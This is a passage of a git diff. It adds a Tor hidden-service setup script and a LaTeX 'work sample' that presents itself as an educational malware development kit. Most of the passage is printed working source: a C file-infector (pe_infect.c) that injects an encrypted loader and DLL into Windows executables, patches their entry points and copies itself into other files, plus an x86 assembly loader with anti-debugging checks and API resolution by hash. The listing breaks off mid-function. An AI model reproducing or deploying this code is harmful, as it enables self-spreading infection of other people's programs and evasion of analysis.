+ sed -i 's/^#SOCKSPolicy reject \*/#SOCKSPolicy reject \*\nSOCKSPolicy accept 127.0.0.1\/32\nSOCKSPolicy reject \*/' ${TOR_CONF}
+ sed -i 's/^#Log debug stderr/#Log debug stderr\nLog notice stderr/' ${TOR_CONF}
+ sed -i 's/^#DataDirectory/DataDirectory/' ${TOR_CONF}
+ sed -i 's/^#RunAsDaemon 1/RunAsDaemon 0/' ${TOR_CONF}
+ sed -i 's/^#HiddenServiceDir\(.*\)\/hidden_service\/$/HiddenServiceDir\1\/hidden_service\/\nHiddenServicePort 80 127.0.0.1:8080/' ${TOR_CONF}
+
+ mkdir -p "${MY_SYS_ROOT}/var/lib/tor"
+else
+ echo "$0: ${TOR_CONF} does already exist !" >&2
+fi
diff --git a/doc/apps.dia b/doc/apps.dia
new file mode 100644
index 0000000..9d02897
--- /dev/null
+++ b/doc/apps.dia
Binary files differ
diff --git a/doc/apps.png b/doc/apps.png
new file mode 100644
index 0000000..df401df
--- /dev/null
+++ b/doc/apps.png
Binary files differ
diff --git a/doc/work_sample.pdf b/doc/work_sample.pdf
new file mode 100644
index 0000000..7071221
--- /dev/null
+++ b/doc/work_sample.pdf
Binary files differ
diff --git a/doc/work_sample.tex b/doc/work_sample.tex
new file mode 100644
index 0000000..15188b2
--- /dev/null
+++ b/doc/work_sample.tex
@@ -0,0 +1,1004 @@
+\documentclass{article}
+\usepackage[a4paper, total={7in, 9in}]{geometry}
+\usepackage[svgnames]{xcolor}
+\usepackage{listings} % Include the listings-package
+\usepackage{textcomp}
+\begin{document}
+
+\title{-VERTRAULICH- Arbeitsprobe MDK}
+\author{Toni Uhlig}
+
+\maketitle
+
+\begin{abstract}
+An educational [M]alware [D]evelopment [K]it.
+\end{abstract}
+
+\section{source code (parts)}
+pe\_infect.c
+\lstset{language=C,
+ basicstyle=\ttfamily,
+ keywordstyle=\color{blue}\ttfamily,
+ stringstyle=\color{red}\ttfamily,
+ commentstyle=\color{green}\ttfamily,
+ morecomment=[l][\color{magenta}]{\#},
+ breaklines=true
+}
+\begin{lstlisting}[frame=single] % Start your code-block
+
+/*
+ * Module: pe_infect.c
+ * Author: Toni <matzeton@googlemail.com>
+ * Purpose: Parses/Modifies a windows portable executable.
+ * Add sections, do image rebasing.
+ * Inject data into sections.
+ */
+
+#include <windows.h>
+
+#include "utils.h"
+#include "compat.h"
+#include "log.h"
+#include "pe_infect.h"
+#include "mem.h"
+#include "file.h"
+#include "aes.h"
+#include "patch.h"
+
+
+static DWORD sectionAdr = 0x0;
+
+/* default dll image base */
+#ifndef _MILLER_IMAGEBASE
+#define _MILLER_IMAGEBASE 0x10000000
+#endif
+static DWORD imageBase = _MILLER_IMAGEBASE;
+static DWORD imageSize = 0x0;
+
+#include "xor_strings_gen.h"
+/* XOR encrypted strings */
+_XORDATA_(dllsection, DLLSECTION);
+_XORDATA_(ldrsection, LDRSECTION);
+
+#include "aes_strings_gen.h"
+#include "loader_x86_crypt.h"
+/* AES encrypted byte buffer */
+_AESDATA_(ldrdata, LOADER_SHELLCODE);
+_AESSIZE_(ldrsiz, ldrdata);
+
+static SIZE_T real_ldrsiz = LOADER_SHELLCODE_SIZE;
+
+
+inline void setImageBase(DWORD newBase) {
+ imageBase = newBase;
+}
+
+inline DWORD getImageBase(void) {
+ return imageBase;
+}
+
+inline void setImageSize(DWORD newSize) {
+ imageSize = newSize;
+}
+
+inline DWORD getImageSize(void) {
+ return imageSize;
+}
+
+inline void setSectionAdr(DWORD newAdr) {
+ sectionAdr = newAdr;
+}
+
+inline DWORD getSectionAdr(void) {
+ return sectionAdr;
+}
+
+BYTE* getLoader(SIZE_T* pSiz)
+{
+ aes_ctx_t* ctx = aes_alloc_ctx((unsigned char*)LDR_KEY, LDR_KEYSIZ);
+ BYTE* ldr = (BYTE*)aes_crypt_s(ctx, (char*)ldrdata, (size_t)ldrsiz, (size_t*)pSiz, FALSE);
+ aes_free_ctx(ctx);
+ return ldr;
+}
+
+SIZE_T getRealLoaderSize(void)
+{
+ return real_ldrsiz;
+}
+
+inline BYTE* PtrFromOffset(BYTE* base, DWORD offset) {
+ return ((BYTE*)base) + offset;
+}
+
+DWORD RvaToOffset(struct ParsedPE* ppPtr, DWORD dwRva)
+{
+ PIMAGE_SECTION_HEADER sections = ppPtr->hdrSection;
+ DWORD nSections = ppPtr->hdrFile->NumberOfSections;
+ DWORD dwPos = 0;
+
+ for (SIZE_T i = 0; i < nSections; ++i) {
+ if (dwRva >= sections[i].VirtualAddress) {
+ dwPos = sections[i].VirtualAddress;
+ dwPos += sections[i].SizeOfRawData;
+ }
+ if (dwRva < dwPos) {
+ dwRva = dwRva - sections[i].VirtualAddress;
+ return dwRva + sections[i].PointerToRawData;
+ }
+ }
+ return -1;
+}
+
+inline BYTE* RvaToPtr(struct ParsedPE* ppPtr, DWORD dwRva)
+{
+ return PtrFromOffset(ppPtr->ptrToBuf, RvaToOffset(ppPtr, dwRva));
+}
+
+DWORD OffsetToRva(struct ParsedPE* ppPtr, DWORD offset)
+{
+ if (ppPtr->hdrFile->NumberOfSections <= 0 || ppPtr->hdrOptional->SizeOfHeaders > offset)
+ return -1;
+ PIMAGE_SECTION_HEADER sections = ppPtr->hdrSection;
+ DWORD nSections = ppPtr->hdrFile->NumberOfSections;
+ DWORD dwPos = sections[0].VirtualAddress + (offset - sections[0].PointerToRawData);
+
+ for (SIZE_T i = 0; i < nSections; ++i) {
+ if (offset < sections[i].PointerToRawData) {
+ break;
+ }
+ dwPos = sections[i].VirtualAddress + (offset - sections[i].PointerToRawData);
+ }
+ return dwPos + ppPtr->hdrOptional->ImageBase;
+}
+
+inline DWORD PtrToOffset(struct ParsedPE* ppPtr, BYTE* ptr)
+{
+ DWORD dwRva = (DWORD)ptr - (DWORD)ppPtr->ptrToBuf;
+ return dwRva;
+}
+
+DWORD PtrToRva(struct ParsedPE* ppPtr, BYTE* ptr)
+{
+ return OffsetToRva(ppPtr, PtrToOffset(ppPtr, ptr));
+}
+
+BOOL bParsePE(BYTE* buf, const DWORD szBuf, struct ParsedPE* ppPtr, BOOL earlyStage)
+{
+ ppPtr->valid = FALSE;
+ /* check minimum size */
+ if (szBuf < sizeof(IMAGE_DOS_HEADER)+sizeof(IMAGE_FILE_HEADER)+sizeof(IMAGE_OPTIONAL_HEADER)+sizeof(IMAGE_SECTION_HEADER))
+ return FALSE;
+ ppPtr->ptrToBuf = buf;
+ ppPtr->bufSiz = szBuf;
+ ppPtr->hdrDos = (PIMAGE_DOS_HEADER)buf;
+ if (ppPtr->hdrDos->e_magic != IMAGE_DOS_SIGNATURE) /* MZ */
+ return FALSE;
+ ppPtr->hdrFile = (PIMAGE_FILE_HEADER)(buf + ppPtr->hdrDos->e_lfanew + sizeof(DWORD));
+ ppPtr->hdrOptional = (PIMAGE_OPTIONAL_HEADER)(buf + ppPtr->hdrDos->e_lfanew + sizeof(DWORD)+sizeof(IMAGE_FILE_HEADER));
+ if (ppPtr->hdrOptional->Magic != 0x010b) /* PE32 */
+ return FALSE;
+ if (ppPtr->hdrFile->Machine !=0x014C) /* i386 */
+ return FALSE;
+ ppPtr->hdrSection = (PIMAGE_SECTION_HEADER)(buf + ppPtr->hdrDos->e_lfanew + sizeof(IMAGE_NT_HEADERS));
+ ppPtr->dataDir = (PIMAGE_DATA_DIRECTORY)ppPtr->hdrOptional->DataDirectory;
+ ppPtr->valid = TRUE;
+
+ /* during initial image rebasing, dont execute stuff which needs a rebased image */
+ if (!earlyStage) {
+ ppPtr->hasDLL = FALSE;
+ ppPtr->hasLdr = FALSE;
+ /* pointer to dll section */
+ STATIC_STR(dllsection);
+ if ( (ppPtr->ptrToDLL = pGetSegmentAdr((char*)dllsection, TRUE, ppPtr, &(ppPtr->sizOfDLL))) != NULL )
+ ppPtr->hasDLL = TRUE;
+ STATIC_STR(dllsection);
+ /* pointer to loader section */
+ STATIC_STR(ldrsection);
+ if ( (ppPtr->ptrToLdr = pGetSegmentAdr((char*)ldrsection, TRUE, ppPtr, &(ppPtr->sizOfLdr))) != NULL ) {
+ ppPtr->loader86 = (loader_x86_data*)(ppPtr->ptrToLdr + getRealLoaderSize() - sizeof(struct loader_x86_data));
+ ppPtr->hasLdr = TRUE;
+ }
+ STATIC_STR(ldrsection);
+ }
+ return TRUE;
+}
+
+BOOL bAddSection(const char *sName, BYTE *sectionContentBuf, SIZE_T szSection, BOOL executable, struct ParsedPE *ppPtr)
+{
+ /* Peering Inside the PE: https://msdn.microsoft.com/en-us/library/ms809762.aspx */
+
+ /* enough header space avail? */
+ if (ppPtr->hdrOptional->SizeOfHeaders < (ppPtr->hdrDos->e_lfanew + sizeof(DWORD) +
+ sizeof(IMAGE_FILE_HEADER) + ppPtr->hdrFile->SizeOfOptionalHeader +
+ (ppPtr->hdrFile->NumberOfSections*sizeof(IMAGE_SECTION_HEADER))+sizeof(IMAGE_SECTION_HEADER)))
+ {
+ return FALSE;
+ }
+
+ /* Read the original fields of headers */
+ DWORD originalNumberOfSections = ppPtr->hdrFile->NumberOfSections;
+ /* Create the new section */
+ DWORD pointerToLastSection = 0;
+ DWORD sizeOfLastSection = 0;
+ DWORD virtualAddressOfLastSection = 0;
+ DWORD virtualSizeOfLastSection = 0;
+
+ for(SIZE_T i = 0; i != originalNumberOfSections; ++i)
+ {
+ if (pointerToLastSection < ppPtr->hdrSection[i].PointerToRawData)
+ {
+ /* section alrdy exists? */
+ if ( strncmp((const char*)ppPtr->hdrSection[i].Name, sName, IMAGE_SIZEOF_SHORT_NAME) == 0)
+ return FALSE;
+ pointerToLastSection = ppPtr->hdrSection[i].PointerToRawData;
+ sizeOfLastSection = ppPtr->hdrSection[i].SizeOfRawData;
+ virtualAddressOfLastSection = ppPtr->hdrSection[i].VirtualAddress;
+ virtualSizeOfLastSection = ppPtr->hdrSection[i].Misc.VirtualSize;
+ }
+ }
+ /* if a symbol table (debug info) is present, pointerToLastSection might be wrong */
+ /* symbol table is usually stored _after_ the last section and retrieved via IMAGE_FILE_HEADER.PointerToSymbolTable */
+ if (ppPtr->bufSiz > pointerToLastSection + sizeOfLastSection)
+ {
+ pointerToLastSection = ppPtr->bufSiz;
+ sizeOfLastSection = 0;
+ }
+
+ /* set new section header data */
+ IMAGE_SECTION_HEADER newImageSectionHeader;
+ memset(&newImageSectionHeader, '\0', sizeof(IMAGE_SECTION_HEADER));
+ newImageSectionHeader.Misc.VirtualSize = szSection;
+ memcpy(&newImageSectionHeader.Name, sName, strnlen(sName, sizeof(newImageSectionHeader.Name)));
+ newImageSectionHeader.PointerToRawData = pointerToLastSection + sizeOfLastSection;
+ newImageSectionHeader.PointerToRelocations = 0;
+ newImageSectionHeader.SizeOfRawData = XMemAlign(szSection, ppPtr->hdrOptional->FileAlignment, 0); /* aligned to FileAlignment */
+ newImageSectionHeader.VirtualAddress = XMemAlign(virtualSizeOfLastSection, ppPtr->hdrOptional->SectionAlignment, virtualAddressOfLastSection); /* aligned to Section Alignment */
+ /* Loader is usually stored in an executable section, DLL in a readonly section.
+ * The Loader does not execute code directly from section.
+ * (see loader source for detailed info)
+ */
+ newImageSectionHeader.Characteristics = (executable == TRUE ? IMAGE_SCN_MEM_READ | IMAGE_SCN_MEM_EXECUTE : IMAGE_SCN_MEM_READ);
+
+ /* update FILE && OPTIONAL header */
+ ++ppPtr->hdrFile->NumberOfSections;
+ ppPtr->hdrOptional->SizeOfImage = XMemAlign(newImageSectionHeader.VirtualAddress + newImageSectionHeader.Misc.VirtualSize, ppPtr->hdrOptional->SectionAlignment, 0);
+
+ /* (re)allocate memory for _full_ pe image (including all headers, new section and section data) */
+ if (!(ppPtr->ptrToBuf = XReallocAbs(ppPtr->ptrToBuf, ppPtr->bufSiz, ppPtr->hdrOptional->SizeOfImage)))
+ return FALSE;
+
+ /* if everything is gone right, parsing should succeed */
+ if (!bParsePE(ppPtr->ptrToBuf, ppPtr->hdrOptional->SizeOfImage, ppPtr, FALSE))
+ {
+ return FALSE;
+ }
+
+ /* copy new section header */
+ memcpy(&ppPtr->hdrSection[ppPtr->hdrFile->NumberOfSections-1], &newImageSectionHeader, sizeof(IMAGE_SECTION_HEADER));
+ /* copy new section data */
+ memcpy(ppPtr->ptrToBuf+newImageSectionHeader.PointerToRawData, sectionContentBuf, szSection);
+
+ return TRUE;
+}
+
+static BOOL bFindMyself(struct ParsedPE* ppe, DWORD* pDwBase, DWORD* pDwSize)
+{
+ SIZE_T siz = 0x0;
+ DWORD startAdr = 0x0;
+
+ /* Am I already in an infected binary? */
+ if (ppe->hasDLL) {
+ startAdr = (DWORD)ppe->ptrToDLL;
+ siz = ppe->sizOfDLL;
+ }
+ /* dirty workaround e.g. when started from rundll.exe */
+ if (!startAdr) {
+ startAdr = getSectionAdr();
+ }
+ if (!siz) {
+ siz = getImageSize();
+ }
+ /* check dwBase for valid memory region */
+ if (startAdr)
+ {
+ *pDwBase = startAdr;
+ *pDwSize = siz;
+ if (_IsBadReadPtr((void*)startAdr, siz) == TRUE)
+ {
+ *pDwBase = 0x0;
+ *pDwSize = 0x0;
+ LOG_MARKER
+ } else return TRUE;
+ } else LOG_MARKER
+ return FALSE;
+}
+
+static struct ParsedPE*
+pParsePE(BYTE* buf, SIZE_T szBuf)
+{
+ struct ParsedPE* ppe = calloc(1, sizeof(struct ParsedPE));
+
+ if (!ppe)
+ {
+ return NULL;
+ }
+ if (bParsePE(buf, szBuf, ppe, FALSE))
+ {
+ return ppe;
+ }
+ free(ppe);
+ return NULL;
+}
+
+static BOOL bInfectMemWith(BYTE* maliciousBuf, SIZE_T maliciousSiz, struct ParsedPE* ppe)
+{
+ BOOL ret = FALSE;
+
+ if (ppe)
+ {
+ if (bIsInfected(ppe)) {
+ LOG_MARKER
+ } else {
+ STATIC_STR(dllsection);
+ if (bAddSection((char*)dllsection, maliciousBuf, maliciousSiz, FALSE, ppe))
+ {
+ ret = TRUE;
+ } else LOG_MARKER
+ STATIC_STR(dllsection);
+
+ STATIC_STR(ldrsection);
+ SIZE_T lsiz = 0;
+ BYTE* l = getLoader(&lsiz);
+ if (l && bAddSection((char*)ldrsection, l, lsiz, TRUE, ppe))
+ {
+ ret = TRUE;
+ } else LOG_MARKER;
+ if (l) free(l);
+ STATIC_STR(ldrsection);
+
+ if (ret) {
+ ret = bParsePE(ppe->ptrToBuf, ppe->bufSiz, ppe, FALSE);
+ }
+ }
+ }
+ else
+ {
+ LOG_MARKER
+ }
+ return ret;
+}
+
+BOOL bInfectFileWith(const char* sFile, BYTE* maliciousBuf, SIZE_T maliciousSiz)
+{
+ BOOL ret = FALSE;
+ BYTE* buf;
+ SIZE_T szBuf;
+ HANDLE hFile;
+
+ if (!bOpenFile(sFile, FALSE, &hFile)) {
+ LOG_MARKER
+ return ret;
+ }
+ if (!bFileToBuf(hFile, &buf, &szBuf))
+ {
+ LOG_MARKER
+ _CloseHandle(hFile);
+ return ret;
+ }
+ struct ParsedPE* ppe = pParsePE(buf, szBuf);
+ if (ppe)
+ {
+ if (bInfectMemWith(maliciousBuf, maliciousSiz, ppe))
+ {
+ if (bPatchNearEntry(ppe))
+ {
+ if (bBufToFile(hFile, ppe->ptrToBuf, ppe->bufSiz))
+ {
+ if (!bIsInfected(ppe))
+ {
+ LOG_MARKER
+ } else {
+ ret = TRUE;
+ }
+ }
+ } else {
+ LOG_MARKER
+ }
+ }
+ free(ppe);
+ } else LOG_MARKER;
+ free(buf);
+ _CloseHandle(hFile);
+ return ret;
+}
+
+BOOL bInfectWithMyself(const char* sFile)
+{
+ BOOL ret = FALSE;
+ BYTE* buf = NULL;
+ SIZE_T szBuf;
+ LPTSTR sFileMyself = calloc(sizeof(TCHAR), MAX_PATH+1);
+ HANDLE hMyself;
+ struct ParsedPE* ppe = NULL;
+
+ if (!sFileMyself)
+ {
+ LOG_MARKER
+ } else if (_GetModuleFileName(NULL, sFileMyself, MAX_PATH) == 0)
+ {
+ LOG_MARKER
+ } else if (!bOpenFile(sFileMyself, TRUE, &hMyself)) {
+ LOG_MARKER
+ } else if (!bFileToBuf(hMyself, &buf, &szBuf))
+ {
+ LOG_MARKER
+ } else {
+ ppe = pParsePE(buf, szBuf);
+ }
+ if (ppe)
+ {
+ /* find DLL (segment-)address and (segment-)size in current executable */
+ DWORD dwBase = NULL;
+ DWORD dwSize = 0x0;
+ if (!bFindMyself(ppe, &dwBase, &dwSize))
+ {
+ LOG_MARKER
+ } else {
+ /* infect target executable (DLL and LOADER)
+ * Remember: The Loader is always accessible by our DLL (AES encrypted).
+ */
+ if (bInfectFileWith(sFile, (BYTE*)dwBase, dwSize)) {
+ ret = TRUE;
+ } else { LOG_MARKER }
+ }
+ free(ppe);
+ } else LOG_MARKER;
+ if (buf)
+ free(buf);
+ _CloseHandle(hMyself);
+ free(sFileMyself);
+ return ret;
+}
+
+BOOL bIsInfected(struct ParsedPE* ppPtr)
+{
+ return (ppPtr->hasDLL && ppPtr->hasLdr);
+}
+
+void* pGetSegmentAdr(const char* sName, BOOL caseSensitive, struct ParsedPE* ppPtr, SIZE_T* pSegSiz)
+{
+ DWORD result = 0;
+ DWORD sSize = 0;
+
+ if (!ppPtr->valid) return NULL;
+ /* walk through sections and compare every name with sName */
+ for (DWORD idx = 0; idx < ppPtr->hdrFile->NumberOfSections; ++idx)
+ {
+ PIMAGE_SECTION_HEADER sec = &ppPtr->hdrSection[idx];
+ if ( (caseSensitive && strncmp(sName, (const char *)sec->Name, IMAGE_SIZEOF_SHORT_NAME) == 0)
+ || strnicmp(sName, (const char *)sec->Name, IMAGE_SIZEOF_SHORT_NAME) == 0)
+ {
+ result = RvaToOffset(ppPtr, sec->VirtualAddress);
+ sSize = sec->Misc.VirtualSize;
+ break;
+ }
+ }
+
+ if (result != 0)
+ {
+ /* check for valid RVA */
+ result += (DWORD)ppPtr->ptrToBuf;
+ if (_IsBadReadPtr((void*)result, sSize))
+ {
+ result = 0;
+ }
+ }
+
+ if (pSegSiz)
+ *pSegSiz = sSize;
+ return (void*)result;
+}
+
+BOOL bDoRebase(void* dllSectionAdr, SIZE_T dllSectionSiz, void* dllBaseAdr)
+{
+ struct ParsedPE ppe;
+
+
+ if (!bParsePE(dllSectionAdr, dllSectionSiz, &ppe, TRUE))
+ return FALSE;
+
+ /* find symbol relocations (.reloc section) */
+ DWORD dwBaseReloc = ppe.dataDir[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress;
+ PIMAGE_BASE_RELOCATION pBaseReloc = (PIMAGE_BASE_RELOCATION)RvaToPtr(&ppe, dwBaseReloc);
+ PIMAGE_BASE_RELOCATION pRelocEnd = (PIMAGE_BASE_RELOCATION)((PBYTE)pBaseReloc + ppe.dataDir[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size);
+
+ /* We cant rely on getImageBase(), because variable imageBase might point to a faulty memory location. *
+ * Rebasing is one of the first things to do!
+ */
+ DWORD dllImageBase = _MILLER_IMAGEBASE;
+ DWORD dwDelta = (DWORD)dllBaseAdr - dllImageBase;
+
+ /* walk through all relocation entries and add delta to every entry */
+ while (pBaseReloc < pRelocEnd && pBaseReloc->VirtualAddress)
+ {
+ int count = (pBaseReloc->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD);
+ WORD* wCurEntry = (WORD*)(pBaseReloc + 1);
+ void *pPageVa = (void *)((PBYTE)dllBaseAdr + pBaseReloc->VirtualAddress);
+
+ for (int i = 0; i < count; i++)
+ {
+ if (wCurEntry[i] >> 12 == IMAGE_REL_BASED_HIGHLOW) {
+ *(DWORD *)((PBYTE)pPageVa + (wCurEntry[i] & 0x0fff)) += dwDelta;
+ }
+ }
+ pBaseReloc = (PIMAGE_BASE_RELOCATION)((PBYTE)pBaseReloc + pBaseReloc->SizeOfBlock);
+ }
+ return TRUE;
+}
+\end{lstlisting}
+
+\newpage
+loader\_x86.asm
+\lstset{language={[x86masm]Assembler}}
+\begin{lstlisting}[frame=single] % Start your code-block
+
+; Module: loader_x86.asm
+; Author: Toni <matzeton@googlemail.com>
+; Purpose: 1. get kernel32.dll base address
+; 2. get required function ptr
+; 3. allocate virtual memory (heap)
+; 4. copy sections from dll
+; 5. run minimal crt at AddressOfEntry
+
+%ifndef _LDR_SECTION
+%error "expected _LDR_SECTION to be defined"
+%endif
+SECTION _LDR_SECTION
+GLOBAL __ldr_start
+
+; const data offsets
+ESI_PTRDLL EQU 0x00 ; PtrToDLL
+ESI_SIZDLL EQU 0x04 ; SizeOfDLL
+; STACK
+STACKMEM EQU 0x38 ; reserve memory on stack (main routine)
+; stack offsets
+OFF_STRRPTR EQU 0x00 ; string 'IsBadReadPtr'
+OFF_STRVALLOC EQU 0x04 ; string 'VirtualAlloc'
+OFF_KERNEL32 EQU 0x08 ; KERNEL32 base address
+OFF_PROCADDR EQU 0x0c ; FuncPtrGetProcAddress
+OFF_VALLOC EQU 0x10 ; FuncPtrVirtualAlloc
+OFF_BADRPTR EQU 0x14 ; FuncPtrIsBadReadPtr
+OFF_ADROFENTRY EQU 0x18 ; AddressOfEntryPoint
+OFF_IMAGEBASE EQU 0x1c ; DLL ImageBAse
+OFF_SIZOFIMAGE EQU 0x20 ; DLL SizeOfImage
+OFF_SIZOFHEADR EQU 0x24 ; DLL SizeOfHeaders
+OFF_FSTSECTION EQU 0x28 ; DLL FirstSection
+OFF_NUMSECTION EQU 0x2c ; DLL NumberOfSections
+OFF_VALLOCBUF EQU 0x30 ; buffer from VirtualAlloc
+; for vegetarians only
+%define DEADBEEF 0xde,0xad,0xbe,0xef
+%define CAFEBABE 0xca,0xfe,0xba,0xbe
+%define DEADC0DE 0xde,0xad,0xc0,0xde
+
+
+; safe jump (so we can jump to the start of our loader buffer later)
+jmp near __ldr_start
+db CAFEBABE
+db 0x66,0x66,0x66,0x66 ; unused byte padding (0xCA is a valid opcode)
+
+; Calculate a 32 bit hash from a string (non-case-sensitive)
+; arguments: esi = ptr to string
+; ecx = bufsiz
+; modifies : eax, edi
+; return : 32 bit hash value in edi
+__ldr_calcStrHash:
+ xor edi,edi
+ __ldr_calcHash_loop:
+ xor eax,eax
+ lodsb ; read in the next byte of the name
+ cmp al,'a' ; some versions of Windows use lower case module names
+ jl __ldr_calcHash_not_lowercase
+ sub al,0x20 ; if so normalise to uppercase
+ __ldr_calcHash_not_lowercase:
+ ror edi,13 ; rotate right our hash value
+ add edi,eax ; add the next byte of the name to the hash
+ loop __ldr_calcHash_loop
+ ret
+
+
+; Get base address of kernel32.dll (alternative way through PEB)
+; arguments: -
+; modifies : eax, ebx
+; return : base addres in eax
+__ldr_getModuleHandleKernel32PEB:
+ ; see http://www.rohitab.com/discuss/topic/38717-quick-tutorial-finding-kernel32-base-and-walking-its-export-table
+ ; and http://www.rohitab.com/discuss/topic/35251-3-ways-to-get-address-base-kernel32-from-peb
+ mov eax,[fs:0x30] ; PEB
+%ifndef _DEBUG
+ ; check if we ware beeing debugged
+ xor ebx,ebx
+ mov bl,[eax + 0x2] ; BeeingDebugged
+ test bl,bl
+ jnz __ldr_getModuleHandleKernel32PEB_fail
+ ; PEB NtGlobalFlag == 0x70 ?
+ ; see http://antukh.com/blog/2015/01/19/malware-techniques-cheat-sheet
+ xor ebx,ebx
+ mov bl,[eax + 0x68]
+ cmp bl,0x70
+ je __ldr_getModuleHandleKernel32PEB_fail
+%endif
+ mov eax,[eax+0x0c] ; PEB->Ldr
+ mov eax,[eax+0x14] ; PEB->Ldr.InMemoryOrderModuleList.Flink (1st entry)
+ mov ebx,eax
+ xor ecx,ecx
+ __ldr_getModuleHandleKernel32PEB_loop:
+ pushad
+ mov esi,[ebx+0x28] ; Flink.ModuleName (16bit UNICODE)
+ mov ecx,0x18 ; max module length: 24 -> len('kernel32.dll')*2
+ call __ldr_calcStrHash
+ cmp edi,0x6A4ABC5B ; pre calculated module name hash of 'kernel32.dll'
+ popad
+ mov ecx,[ebx+0x10] ; get base address
+ mov ebx,[ebx]
+ jne __ldr_getModuleHandleKernel32PEB_loop
+ mov eax,ecx
+ ret
+ __ldr_getModuleHandleKernel32PEB_fail:
+ xor eax,eax
+ ret
+
+
+; Get Address of GetProcAddress from module export directory
+; arguments: eax = kernel32 base address
+; modifies : eax, ebx, ecx, edi, edx, esi
+; return : eax
+__ldr_getAdrOfGetProcAddress:
+ mov ebx,eax
+ add ebx,[eax+0x3c] ; PE header
+ mov ebx,[ebx+0x78] ; RVA export directory
+ add ebx,eax
+ mov esi,[ebx+0x20] ; RVA Export Number Table
+ add esi,eax ; VA of ENT
+ mov edx,eax ; remember kernel base
+ xor ecx,ecx
+ __ldr_getAdrOfGetProcAddress_loop:
+ inc ecx
+ lodsd ; load dword from esi into eax
+ add eax,edx ; add kernel base
+ pushad
+ mov esi,eax ; string
+ mov ecx,14 ; len('GetProcAddress')
+ call __ldr_calcStrHash
+ cmp edi,0x1ACAEE7A ; pre calculated hash of 'GetProcAddress'
+ popad
+ jne __ldr_getAdrOfGetProcAddress_loop
+ dec ecx
+ mov edi,ebx
+ mov edi,[edi+0x24] ; RVA of Export Ordinal Table
+ add edi,edx ; VA of EOT
+ movzx edi,word [ecx*2+edi] ; ordinal to function
+ mov eax,ebx
+ mov eax,[eax+0x1c] ; RVA of Export Address Table
+ add eax,edx ; VA of EAT
+ mov eax,[edi*4+eax] ; RVA of GetProcAddress
+ add eax,edx ; VA of GetProcAddress
+ ret
+
+
+; Get function pointer by function name
+; arguments: ebx = base address of module
+; ecx = string pointer to function name
+; modifies : eax
+; return : address in eax
+__ldr_getProcAddress:
+ mov eax,[ebp + OFF_PROCADDR] ; ptr to GetProcAddress(...)
+ push ecx
+ push ebx
+ call eax
+ ret
+
+
+; Check if pointer is readable
+; arguments: ebx = pointer
+; ecx = size
+; modifies : eax
+; return : [0,1] in eax
+__ldr_isBadReadPtr:
+ push ecx
+ push ebx
+ mov eax,[ebp + OFF_BADRPTR] ; PtrIsBadReadPtr
+ call eax
+ ret
+
+
+; Allocate virtual memory in our current process space
+; arguments: ebx = preffered address
+; ecx = size of memory block
+; modifies : eax
+; return : ptr in eax
+__ldr_VirtualAlloc:
+ push ecx ; save size for a possible second call to VirtualAlloc(...)
+ push dword 0x40 ; PAGE_EXECUTE_READWRITE
+ push dword 0x3000 ; MEM_RESERVE | MEM_COMMIT
+ push ecx
+ push ebx
+ mov eax,[ebp + OFF_VALLOC] ; PtrVirtualAlloc
+ call eax
+ test eax,eax
+ pop ecx
+ jnz __ldr_VirtualAlloc_success
+ ; base address already taken
+ push dword 0x40 ; PAGE_EXECUTE_READWRITE
+ push dword 0x3000 ; MEM_RESERVE | MEM_COMMIT
+ push ecx
+ xor eax,eax
+ push eax
+ mov eax,[ebp + OFF_VALLOC] ; PtrVirtualAlloc
+ call eax
+ __ldr_VirtualAlloc_success:
+ ret
+
+
+; Read DLL PE header from memory
+; arguments: ebx = ptr to memory
+; modifies : eax, ecx, edx
+; return : [0,1] in eax
+__ldr_ReadPE:
+ ; check dos magic number
+ xor ecx,ecx
+ mov cx,[ebx]
+ cmp cx,0x5a4d ; Magic number (DOS-HEADER)
+ jne near __ldr_ReadPE_fail
+ ; e_lfanew
+ mov ecx,ebx
+ add ecx,0x3c ; OFFSET: e_lfanew
+ mov eax,[ecx] ; e_lfanew
+ add eax,ebx ; [e_lfanew + ptr] = NT-HEADER
+ mov ecx,eax ; *** save NT-HEADER in ECX ***
+ ; check pe magic number
+ xor eax,eax
+ mov eax,[ecx]
+ cmp ax,0x4550 ; 'EP' -> 'PE'
+ jne __ldr_ReadPE_fail
+ ; check opt header magic
+ mov eax,ecx
+ add eax,0x18 ; [NT-HEADER + 0x18] = opt header magic
+ mov edx,eax
+ xor eax,eax
+ mov ax,[edx]
+ cmp ax,0x010b ; 0x010b = PE32
+ jne short __ldr_ReadPE_fail
+ ; entry point VA
+ mov eax,ecx
+ add eax,0x28
+ mov eax,[eax]
+ mov [ebp + OFF_ADROFENTRY],eax
+ ; get image base && image size
+ mov eax,ecx
+ add eax,0x34 ; [NT-HEADER + 0x34] = ImageBase
+ mov eax,[eax]
+ test eax,eax ; check if ImageBase is not NULL
+ jz short __ldr_ReadPE_fail
+ mov [ebp + OFF_IMAGEBASE], eax
+ mov eax,ecx
+ add eax,0x50 ; [NT-HEADER + 0x50] = SizeOfImage
+ mov eax,[eax]
+ test eax,eax
+ jz short __ldr_ReadPE_fail ; check if ImageSize is not zero
+ mov [ebp + OFF_SIZOFIMAGE], eax
+ ; get size of headers
+ mov eax,ecx
+ add eax,0x54 ; [NT-HEADER + 0x54] = SizeOfHeaders
+ mov eax,[eax]
+ test eax,eax
+ jz short __ldr_ReadPE_fail
+ mov [ebp + OFF_SIZOFHEADR], eax
+ ; get number of sections
+ mov edx,ecx
+ add edx,0x6 ; [NT-HEADER + 0x8] = NumberOfSections
+ xor eax,eax
+ mov ax,[edx]
+ test eax,eax
+ jz short __ldr_ReadPE_fail
+ mov [ebp + OFF_NUMSECTION], eax
+ ; get ptr to first section
+ mov edx,ecx
+ add edx,0x14 ; [NT-HEADER + 0x14] = SizeOfOptionalHeaders
+ xor eax,eax
+ mov ax,[edx]
+ mov edx,eax
+ mov eax,ecx
+ add eax,0x18
+ add eax,edx ; [NT-HEADER + 0x18 + SizeOfOptionalHeaders] = FirstSection
+ mov [ebp + OFF_FSTSECTION], eax
+ ; return true
+ mov eax,1
+ ret
+ __ldr_ReadPE_fail:
+ xor eax,eax
+ ret
+
+
+; Copies n bytes memory from source to dest
+; arguments: ebx = dest
+; ecx = size
+; edx = source
+; modifies : eax, edi
+; return : eax
+__ldr_memcpy:
+ xor edi,edi
+ xor eax,eax
+ __ldr_memcpy_loop0:
+ mov al,[edx + edi]
+ mov [ebx + edi],al
+ inc edi
